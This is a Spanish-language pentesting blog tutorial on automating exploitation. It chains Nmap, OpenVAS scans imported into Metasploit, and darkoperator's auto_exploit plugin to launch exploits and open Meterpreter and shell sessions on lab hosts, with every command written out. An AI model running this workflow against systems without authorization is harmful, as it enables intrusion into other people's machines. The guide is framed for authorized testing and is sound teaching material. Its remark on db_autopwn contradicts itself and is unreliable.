Inicio Linux & Systems Networks & Infrastructure Cybersecurity Cloud & DevOps SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas Proyectos Sobre

Metasploit Auto Exploit con OpenVAS: Explotación Automatizada de Vulnerabilidades

Read in English
Metasploit Auto Exploit con OpenVAS

Tabla de contenidos

Introducción

En un proceso de pentesting, una de las fases más laboriosas es la correlación entre las vulnerabilidades detectadas por un escáner y los exploits disponibles en Metasploit Framework. Hacer esta tarea manualmente para decenas o cientos de hosts y servicios consume un tiempo considerable.

El plugin auto_exploit, desarrollado por Carlos Perez (darkoperator), automatiza este proceso. Se conecta a la base de datos de Metasploit, analiza los resultados de escaneos de vulnerabilidades importados (de OpenVAS, Nessus, Nexpose, etc.) y selecciona automáticamente los módulos de explotación adecuados para cada vulnerabilidad encontrada.

En esta guía integraremos Metasploit Framework con OpenVAS (Open Vulnerability Assessment Scanner) para realizar un flujo completo: escaneo de red con Nmap, análisis de vulnerabilidades con OpenVAS, importación de resultados y explotación automatizada con auto_exploit.

Requisitos previos

Para seguir esta guía necesitamos un entorno de laboratorio con los siguientes componentes:

  • Metasploit Framework instalado y funcional (versión 4.x o superior).
  • OpenVAS instalado y configurado con al menos un escaneo completo realizado.
  • Nmap instalado para el descubrimiento inicial de hosts y servicios.
  • PostgreSQL como base de datos de Metasploit (necesario para almacenar hosts, servicios y vulnerabilidades).
  • Una o varias máquinas objetivo en un entorno de laboratorio controlado (Metasploitable, DVWA, etc.).

Importante: esta guía está orientada a entornos de laboratorio y auditorías autorizadas. Ejecutar estas herramientas contra sistemas sin autorización explícita es ilegal y puede tener consecuencias penales.

Paso 1: Configurar la base de datos de Metasploit

Metasploit necesita PostgreSQL para almacenar los resultados de escaneos y mantener un registro organizado de hosts, servicios, vulnerabilidades y credenciales encontradas durante el pentesting.

Iniciamos PostgreSQL y arrancamos msfconsole:

bash
# Iniciar PostgreSQL
service postgresql start

# Inicializar la base de datos de Metasploit (solo la primera vez)
msfdb init

# Arrancar Metasploit Framework
msfconsole

Una vez dentro de msfconsole, verificamos que la conexión a la base de datos es correcta:

text
msf > db_status
[*] postgresql connected to msf3

Si el estado muestra postgresql connected, la base de datos está operativa. En caso contrario, revisamos que PostgreSQL esté corriendo y que las credenciales en /opt/metasploit/config/database.yml sean correctas.

Paso 2: Descubrimiento de red con Nmap

Antes de lanzar el escáner de vulnerabilidades, necesitamos un mapa completo de la red objetivo. Utilizamos Nmap directamente desde msfconsole con el comando db_nmap, que almacena automáticamente los resultados en la base de datos:

text
msf > db_nmap -sV -O -A 192.168.1.0/24

Desglose de las opciones:

  • -sV: detección de versiones de servicios. Identifica el software y la versión exacta que corre en cada puerto abierto.
  • -O: detección del sistema operativo mediante fingerprinting TCP/IP.
  • -A: modo agresivo. Combina detección de OS, versión, scripts NSE y traceroute.

Una vez completado el escaneo, consultamos los resultados almacenados:

text
# Listar hosts descubiertos
msf > hosts

# Listar servicios encontrados
msf > services

# Filtrar servicios por puerto
msf > services -p 445,139

La información de versiones es crucial para la fase posterior de explotación, ya que auto_exploit necesita datos precisos de servicios para correlacionar con los módulos adecuados.

Paso 3: Integrar OpenVAS con Metasploit

OpenVAS es un escáner de vulnerabilidades de código abierto que mantiene una base de datos actualizada de Network Vulnerability Tests (NVTs). Su integración con Metasploit permite importar los resultados del análisis directamente a la base de datos de MSF.

Cargamos el plugin de OpenVAS en msfconsole:

text
msf > load openvas
[*] Welcome to OpenVAS integration by kost and averagesecurityguy.
[*] Successfully loaded plugin: OpenVAS

Nos conectamos al servicio OpenVAS Manager (OMP). Por defecto, el servicio escucha en el puerto 9390:

text
msf > openvas_connect admin password localhost 9390 ok
[*] Connecting to OpenVAS instance at localhost:9390...
[*] Connected to OpenVAS.

El último parámetro ok indica que aceptamos el certificado SSL autofirmado del servidor. En un entorno de producción, es recomendable verificar el certificado manualmente antes de aceptarlo.

Paso 4: Crear y ejecutar un escaneo de vulnerabilidades

Desde msfconsole podemos gestionar completamente OpenVAS sin necesidad de acceder a su interfaz web. Primero, creamos un objetivo (target):

text
msf > openvas_target_create "Lab Network" 192.168.1.100 "Servidor objetivo del laboratorio"
[*] Target created: <target-id>

Consultamos las configuraciones de escaneo disponibles:

text
msf > openvas_config_list

ID  Name
--  ----
0   Full and fast
1   Full and fast ultimate
2   Full and very deep
3   Full and very deep ultimate

Las configuraciones de escaneo determinan la profundidad y velocidad del análisis:

  • Full and fast (recomendada): ejecuta todos los NVTs que no sean potencialmente destructivos. Es el mejor equilibrio entre cobertura y velocidad.
  • Full and fast ultimate: incluye NVTs que pueden provocar denegación de servicio. Usar solo en entornos de laboratorio.
  • Full and very deep: análisis exhaustivo con todos los NVTs no destructivos. Más lento pero más completo.
  • Full and very deep ultimate: análisis completo incluyendo NVTs peligrosos. Solo para laboratorio.

Creamos la tarea de escaneo especificando la configuración y el objetivo:

text
# Crear la tarea: nombre, comentario, config_id, target_id
msf > openvas_task_create "Scan Lab" "Escaneo inicial" 0 5
[*] Task created: <task-id>

# Iniciar el escaneo
msf > openvas_task_start <task-id>
[*] Task started.

Podemos monitorizar el progreso del escaneo con:

text
msf > openvas_task_list

ID  Status   Progress  Name
--  ------   --------  ----
1   Running  45%       Scan Lab

El escaneo puede tardar entre 15 minutos y varias horas dependiendo del número de hosts, puertos abiertos y la configuración seleccionada. Cuando el progreso muestre -1 o el estado cambie a Done, el análisis ha finalizado.

Paso 5: Importar los resultados a Metasploit

Una vez completado el escaneo, listamos los reportes disponibles y los importamos a la base de datos de Metasploit:

text
# Listar reportes disponibles
msf > openvas_report_list

ID  Task          Date                 Status
--  ----          ----                 ------
1   Scan Lab      2013-03-23 14:30     Done

# Importar el reporte a la base de datos de Metasploit
msf > openvas_report_import <report-id> <format-id>
[*] Importing report...
[*] Report imported successfully.

También podemos descargar el reporte en diferentes formatos para documentación:

text
# Listar formatos disponibles
msf > openvas_format_list

# Descargar en formato PDF
msf > openvas_report_download <report-id> <format-id> /tmp/reporte-openvas.pdf

Tras la importación, verificamos que las vulnerabilidades se han registrado correctamente:

text
# Listar vulnerabilidades encontradas
msf > vulns

# Filtrar por host específico
msf > vulns -a 192.168.1.100

Paso 6: Instalar y usar el plugin auto_exploit

El plugin auto_exploit de darkoperator es el componente que automatiza la correlación entre vulnerabilidades y módulos de explotación. Descargamos e instalamos el plugin:

bash
# Descargar el plugin en el directorio de plugins de Metasploit
cd /opt/metasploit/msf3/plugins/
wget https://raw.githubusercontent.com/darkoperator/Metasploit-Plugins/master/auto_exploit.rb

Cargamos el plugin en msfconsole:

text
msf > load auto_exploit
[*] auto_exploit plugin loaded.
[*] Use 'auto_exploit -h' for help.

El plugin analiza las vulnerabilidades almacenadas en la base de datos y busca correspondencias con los módulos de exploit disponibles en Metasploit. El proceso de correlación se basa en:

  • Referencias CVE: busca módulos que exploten las mismas CVEs detectadas por OpenVAS.
  • Información de servicios: filtra módulos compatibles con el servicio y versión identificados.
  • Ranking del módulo: prioriza exploits con ranking excellent o great para minimizar el riesgo de causar inestabilidad.

Ejecutamos la explotación automatizada:

text
# Ver las opciones disponibles
msf > auto_exploit -h

# Ejecutar auto_exploit contra todos los hosts con vulnerabilidades
msf > auto_exploit -e -t 192.168.1.100

# Opciones útiles:
#   -e            Ejecutar los exploits (sin esta flag solo lista los módulos)
#   -t <host>     Filtrar por host objetivo
#   -r <ranking>  Ranking mínimo del exploit (excellent, great, good)
#   -p <payload>  Payload específico a utilizar

Cuando se ejecuta sin la flag -e, el plugin muestra un listado de los módulos que utilizaría y los hosts objetivo, permitiendo revisar la estrategia antes de lanzar los exploits. Esta es la práctica recomendada: siempre revisar antes de ejecutar.

Paso 7: Verificar y gestionar las sesiones

Si la explotación tiene éxito, obtendremos una o más sesiones de Meterpreter o shell. Listamos las sesiones activas:

text
msf > sessions -l

Active sessions
===============

  Id  Type                     Connection
  --  ----                     ----------
  1   meterpreter x86/linux    192.168.1.10:4444 -> 192.168.1.100:45678
  2   shell                    192.168.1.10:4445 -> 192.168.1.100:45679

# Interactuar con una sesión
msf > sessions -i 1
meterpreter > sysinfo
meterpreter > getuid

Flujo completo resumido

El proceso completo de explotación automatizada sigue estos pasos:

  1. Descubrimiento: db_nmap -sV -O -A <red> — identifica hosts, puertos y versiones.
  2. Carga de OpenVAS: load openvas + openvas_connect — conecta al escáner.
  3. Escaneo de vulnerabilidades: openvas_target_create + openvas_task_create + openvas_task_start.
  4. Importación de resultados: openvas_report_import — transfiere vulnerabilidades a la BD de MSF.
  5. Revisión: auto_exploit (sin -e) — lista los exploits candidatos.
  6. Explotación: auto_exploit -e — ejecuta los exploits seleccionados.
  7. Post-explotación: sessions -i — gestiona las sesiones obtenidas.

Consideraciones importantes

La automatización de exploits es una herramienta poderosa pero que debe usarse con criterio:

  • Falsos positivos: OpenVAS (como cualquier escáner) puede reportar vulnerabilidades que realmente no son explotables. El modo de revisión sin -e permite filtrar estos casos antes de lanzar los exploits.
  • Estabilidad del objetivo: algunos exploits pueden causar caídas de servicio o inestabilidad. Priorizar siempre módulos con ranking excellent o great.
  • Documentación: registrar cada acción durante el pentesting es fundamental. Metasploit almacena un log de todas las acciones en la base de datos, pero es recomendable complementarlo con notas propias.
  • Alcance: auto_exploit solo ejecuta exploits contra los hosts y vulnerabilidades que están en la base de datos. Si el escaneo inicial fue limitado, los resultados serán limitados.
  • Alternativas modernas: en versiones más recientes de Metasploit, el comando db_autopwn ofrece funcionalidad similar. Sin embargo, fue eliminado del core de Metasploit por considerarse demasiado agresivo, lo que hace que auto_exploit siga siendo una alternativa válida al permitir mayor control sobre el proceso.

:wq!

Comentarios